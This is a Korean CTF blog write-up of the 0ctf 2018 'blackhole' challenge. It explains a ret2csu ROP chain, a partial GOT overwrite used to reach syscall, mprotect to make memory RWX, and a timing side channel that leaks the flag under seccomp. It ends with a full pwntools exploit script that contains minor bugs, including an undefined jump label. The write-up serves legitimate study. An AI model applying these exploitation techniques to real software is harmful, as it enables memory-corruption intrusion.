ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 0x23.0ctf 2018 - blackhole
    0x.CTF 2018. 11. 6. 20:50

    0x23.0ctf 2018 - blackhole


    파일 & 소스 : https://github.com/pwnwiz/CTF/tree/master/blackhole


    return to CSU 기법을 공부하기 위해 잡은 바이너리인데 배보다 배꼽이 더 컸던 문제였다. 사실 csu 기법자체는 이해하는데 몇 분이 채 걸리지 않았지만 처음으로 mprotect도 사용해보고 seccomp 환경에서 쉘 코드도 제작해보았다. 쉘 코드의 위치로 rip를 잡는 것 까지는 금방했는데 쉘 코드를 어떻게 해야할지 몰라서 고민고민하다가 결국 인터넷에서 해당 부분을 참조해서 성공하였다.


    csu 기법 자체는 간단한데 init 부분에 다음과 같은 코드가 존재한다.



    해당 부분은 연속적으로 pop을 6번 수행하며 그 후 ret한다. 위 부분만을 가지고는 gadget으로 활용할 수 있느냐는 의문이 들 수 있는데 아래의 코드와 chaining을 하면 그 효과가 발휘된다.



    해당 pop 가젯들의 윗 부분에는 r13, r14, r15에 해당하는 값으로 rdx, rsi, edi를 세팅할 수 있는 어셈코드들이 나열되어 있는데 이를통해 적어도 우리는 read, write와 같이 arg를 3개 이하로 가지고 있는 함수들에 대한 인자값 세팅이 가능하다. 더군다나 call 부분에서 r12 + rbx*8을 호출함으로써 위 가젯에서 세팅한 rbx와 r12의 값을 가지고 rip마저 조작이 가능하다. 이를 통해 우리는 색다른 rop가 가능하다.


    blackhole 바이너리를 분석해보자.



    main 함수 부분을 보면 2개의 서브함수가 보인다. sub_400856에 들어가보았다.



    seccomp을 통해 syscall을 샌드박싱하는데 허용되는 syscall 넘버는 0, 2, 3, 10, 60, 231 뿐이다. 즉, read, open, close, mprotect, exit, exit_group을 제외한 함수는 사용할 수 없다고 판단이 되며, 그 덕에 write 등을 통한 leak은 불가능하다는 것을 알 수 있다. 또한 출제자가 unintended에 대한 방지를 위해 mprotect의 syscall 넘버인 10을 추가한 것으로 보아 익스플로잇을 위해서는 mprotect을 활용해야 된다는 생각을 할 수 있다.



    sub_4009a7 함수를 보았더니 버프의 크기가 32바이트임에도 불구하고 read 함수를 통해 0x100 만큼을 입력받아 오버플로우가 발생한다는 사실을 알 수 있다. 즉 직접적인 rip 조작이 가능할 것으로 보인다.


    위에서 설명했듯이 init 함수내의 pop 가젯을 활용하여 특정 함수를 부를 수 있다는 사실을 알 수 있다. rip로 0x400a4a를 주게되면 arg1, arg2, arg3을 r15, r14, r13의 값으로 세팅이 가능하며, r12로 ret 또한 조작이 가능하다.


    libc의 특성상 하위 바이트는 매번 같은 값을 가지기 때문에 aslr 상태에서도 하위 1바이트만 변조하면 똑같은 어셈코드를 가리키도록 할 수 있다. mprotect를 어떻게 호출을 할지 고민을 해보았는데, syscall number가 10인데 rax를 세팅할 수 있는 적당한 가젯이 보이지 않았다. 하지만 read의 특성을 활용하면 사용자로부터 입력받은 문자의 길이를 rax에 저장한다는 사실을 활용하여 got의 특정 offset에 위치한 syscall의 주소로 got overwrite를 하는 방식을 사용하였다.



    got를 살펴보면 seccomp, alarm, read 중에 alarm을 선택하였고 syscall 호출이 가능한 offset을 찾아보니 아래와 같은 주소를 찾을 수 있었다.



    하위 1바이트를 8e로 overwrite를 함으로써 0x7fc75790a28e에 위치한 syscall을 사용할 수 있다. rax만 read를 활용하여 잘 컨트롤 한다면 mprotect 함수를 호출할 수 있다.



    alarm@got로 부터 9바이트 떨어진 곳부터 0xa(mprotect syscall) 만큼을 read하였고 하위 alarm@got의 하위 1바이트를 8e로 변경하였다. 이제 alarm이 호출되면 syscall로 사용할 수 있다.


    rop chaining을 위해서는 연속적인 호출이 가능해야하는데 csu 부분에서 특정 루틴만 충족하면 가능하다.



    call [r12+rbx*8] 명령이 수행된 뒤, rbx에 1을 더한 값과 rbp를 비교하여 같은 값이면 다시 0x400a46부근으로 가서 add rsp, 8이 수행된 뒤에 0x400a4a 즉, pop 가젯을 다시 사용이 가능하다. 이를 통해 csu로 rop chaining이 가능한 것이다.


    rax를 read를 활용하여 0xa로 바꾸는데 성공했으니 syscall을 통해 mprotect을 호출할 때 사용할 인자값을 세팅해주고 ret를 다시 0x400a30으로 돌려주면 0x400a39에서 syscall을 호출 가능하다.



    위처럼 call로 alarm@got를 호출하여 syscall을 트리거하면 mprotect가 호출되고 아래와 같이 rwx로 권한 재설정이 가능하다.



    mprotect을 통해 0x601000 ~ 0x602000 영역을 rwx 권한으로 재설정하였기 때문에 해당 부분에 쉘 코드를 작성하고 트리거를 시키면 원하는 명령을 수행할 수 있다. 하지만 이를 위해서는 쉘 코드를 작성해야 하기 때문에 read를 사용해야 하는데 다행히도 mprotect에 대한 반환값이 rax에 0으로 세팅되기 때문에 한 번더 chaining을 통하여 syscall로 read를 호출할 수 있다.



    이를 통해 우리는 원하는 영역에 쉘 코드를 입력할 수 있게 되었다. 여기까지는 그럭저럭 할 수 있었는데 쉘 코드 부분을 어떻게 해결해야되는지 아이디어가 떠오르지 않았다. seccomp을 통하여 open, read는 사용가능하지만 write를 사용할 수는 없으므로 결국 flag파일을 열어서 특정 위치로 flag 문자열을 read하여도 write해서 볼 수 있는 방법을 모르겠는 것이다.


    그래서 다른 사람의 write-up을 확인해보았더니 사이드 채널을 활용하여 flag를 유추하기에 해당 방식을 따와서 실습해보았다. 거의 비슷하긴 하지만 내가 사용한 쉘 코드의 기능은 다음과 같다. 가장 먼저 read(0, 0x601300, 0x5)를 호출하여 "flag\x00"의 값을 신뢰할 수 있는 위치에 작성을 한다.



    그리고 open을 호출하여 flag의 이름을 0x601300에서 가져와 파일을 연 뒤, fd 값으로 리턴받은 값을 인자값이랑 교체를 하여 read로 0x601100 에 작성을 한다.



    여기까지는 스스로 성공을 했지만 특정 위치에 적은 flag값을 가져오는 방식을 모르겠어서 확인을 해보았더니 다음의 방식으로 사이드 채널 공격을 수행한다.


    먼저 바이너리 search를 활용해서 0~128 범위의 값을 offset을 가지고 비교를 한다. 만약 문자가 일치하면 read를 호출하여 다시 문자열을 입력받게 되지만 불일치하면 exit를 호출해서 연결을 끊어버린다. 위 작업은 시간적 차이가 존재하기 때문에 recv의 timeout을 설정하여 read로 넘어가였을 경우 연결이 유지되는 시간으로 문자값 일치 여부를 확인하여 문자를 저장하는 방식이다. 이를 통해 여러 번의 brute_force 공격을 하게 되면 flag 값을 얻어올 수 있다.



    여러번의 연결 시도와 연결 종료를 통해 flag값을 확인할 수 있다.



    익스플로잇 코드

    from pwn import *

    context(arch="amd64", os="linux")

    register_gadget = 0x400a4a
    rip_gadget = 0x400a30

    bss = 0x601068
    bof = 0x4009a7
    rwx = 0x601000

    def exploit(offset, value):
        binary='./blackhole'
        s=process('./blackhole')
        e=ELF(binary)

        asmcode = """
    xor rax, rax
    xor rdi, rdi
    mov rsi, 0x601300
    mov rdx, 5
    syscall

    mov rax, 2
    mov rdi, 0x601300
    mov rsi, 0
    mov rdx, 0
    syscall

    xchg rax, rdi
    xor rax, rax
    mov rsi, 0x601100
    mov rdx, 0x3c
    syscall

    mov rcx, 0x601100
    add rcx, %d
    mov al, byte ptr[rcx]
    cmp al, %d
    jge good

    false:
    mov rax, 60
    syscall

    true:
    xor rax, rax
    xor rdi, rdi
    mov rsi, 0x601500
    mov rdx, 0x100
    syscall
    jmp true
    """ % (offset, value)

        shellcode = p64(e.got['alarm']+0x10) # shellcode addr
        shellcode += asm(asmcode)

        def csu(rbx, rbp, r12, r13, r14, r15, ret):
            payloads = ''
            payloads += p64(register_gadget) # args setting
            payloads += p64(rbx) # pop rbx
            payloads += p64(rbp) # pop rbp
            payloads += p64(r12) # pop r12 => function()
            payloads += p64(r13) # pop r13 => arg3
            payloads += p64(r14) # pop r14 => arg2
            payloads += p64(r15) # pop r15 => arg1
            payloads += p64(ret) # rip
            return payloads

        payload = "A"*0x20 # buf
        payload += "B"*0x8 # sfp
        payload += csu(0x0, 0x1, e.got['read'], 0xa, e.got['alarm']-0x9, 0x0, rip_gadget) # rax => 0xa (syscall mprotect)
        payload += csu(0x0, 0x1, e.got['alarm'], 0x7, 0x1000, rwx, rip_gadget) # mprotect(rwx) -> 0x601000 ~ 0x602000 / rax => 0x0 (syscall read)
        payload += csu(0x0, 0x0, e.got['alarm'], len(shellcode), e.got['alarm']+0x8, 0x0, rip_gadget) # read -> shellcode [r12 + 1*8]
        payload += p64(0xdeadbeef)*3
        s.send(payload)
        sleep(0.01)
        s.send("A"*9+"\x8e") # alarm@got -> syscall
        sleep(0.01)
        s.send(shellcode) # write shellcode
        sleep(0.01)
        s.send("flag\x00")
        try:
            s.recv(1, timeout = 0.03)
            s.close()
            return True
        except:
            s.close()
            return False
        s.interactive()

    def brute_force():
           flag = ""

           while(1):
                   left = 0
                   right = 128

                   for i in range(0, 8):
                           char = (left + right) / 2
                           result = exploit(len(flag), char)

                           if result:
                                   left = char
                           else:
                                   right = char
                   if char == 0:
                           break
                   flag +=  chr(char)

    if len(flag)==60:
    print flag

    brute_force()


    '0x.CTF' 카테고리의 다른 글

    0x25.SSG - easy_linux_reversing  (0) 2018.11.09
    0x24.SSG - fortune_cookie  (0) 2018.11.08
    0x22.CODEGATE 2015 - yocto  (0) 2018.10.31
    0x21.teamsik 2016 - StrangeCalculator  (0) 2018.09.03
    0x20.SSF 2018 - fsb  (0) 2018.08.14

    댓글

Designed by Tistory.